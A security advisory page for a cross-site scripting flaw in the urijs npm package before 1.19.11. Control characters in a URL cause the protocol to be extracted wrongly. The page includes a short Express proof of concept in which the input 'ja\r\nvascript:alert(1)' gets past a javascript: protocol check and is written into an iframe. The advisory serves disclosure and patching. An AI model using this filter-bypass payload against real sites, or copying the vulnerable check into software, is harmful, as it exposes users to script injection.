GHSA-3vjf-82ff-p4r3

    Dashboard / Vulnerabilities / GHSA-3vjf-82ff-p4r3

    GHSA-3vjf-82ff-p4r3

    Published: 6 Apr 2022Last Modified: 8 Nov 2023
    Aliases:

    Summary: Incorrect protocol extraction via \r, \n and \t characters

    Details: \r, \n and \t characters in user-input URLs can potentially lead to incorrect protocol extraction when using npm package urijs prior to version 1.19.11. This can lead to XSS when the module is used to prevent passing in malicious javascript: links into HTML or Javascript (see following example): ```` const parse = require('urijs') const express = require('express') const app = express() const port = 3000 input = "ja\r\nvascript:alert(1)" url = parse(input) console.log(url) app.get('/', (req, res) => { if (url.protocol !== "javascript:") {res.send("<iframe src=\'" + input + "\'>CLICK ME!</iframe>")} }) app.listen(port, () => { console.log(`Example app listening on port ${port}`) }) ````

    Affected packages

    Package

    Name: urijs

    Purl: pkg:npm/urijs

    Affected ranges

    Type: SEMVER

    Events:

    Introduced- 0
    Fixed -1.19.11

    Affected versions

    Common Vulnerability Scoring System

    Attack Vector
    Network
    Adjacent
    Local
    Physical
    Privileges Required
    None
    Low
    High
    User Interaction
    None
    Required
    Scope
    Unchanged
    Changed
    Confidentiality
    None
    Low
    High
    Integrity
    None
    Low
    High
    Availability
    None
    Low
    High
    GHSA-3vjf-82ff-p4r3 | CVE-DB